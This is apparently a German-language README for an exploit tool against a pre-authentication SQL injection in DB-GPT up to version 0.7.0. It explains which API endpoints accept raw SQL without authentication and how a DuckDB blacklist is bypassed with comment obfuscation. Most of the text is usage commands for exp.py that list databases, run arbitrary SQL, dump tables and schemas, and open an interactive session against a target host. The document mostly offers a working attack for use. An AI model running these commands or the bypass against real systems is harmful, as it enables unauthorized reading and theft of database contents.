CVE-2025-51458-exp

Pre-Auth SQL Injection in DB-GPT <= 0.7.0

Übersicht

Die Endpunkte /api/v1/editor/sql/run und /api/v1/editor/chart/run akzeptieren beliebige SQL-Abfragen ohne Authentifizierung. Die sanitize_sql-Blacklist deckt nur DuckDB ab; MySQL-, PostgreSQL- und SQLite-Verbindungen erhalten rohe Benutzereingaben ohne Filterung. Die DuckDB-Blacklist selbst kann über Kommentar-Verschleierung (SEL/**/ECT) umgangen werden.

Dies ist ein Bypass von CVE-2024-10835 und CVE-2024-10901.

• CVSS: 6,5 (Mittel)
• Typ: CWE-89 (SQL-Injection)
• Auth: Keine erforderlich (Pre-Auth)
• Betroffen: DB-GPT <= 0.7.0
• Behoben: PR #2650

Verwendung

# Datenbanken auflisten
python3 exp.py http://target:5670 --list-dbs

# SQL ausführen
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Tabellen ausgeben
python3 exp.py http://target:5670 <db_name> --dump-tables

# Schema ausgeben
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB-Bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interaktiver Modus
python3 exp.py http://target:5670 <db_name>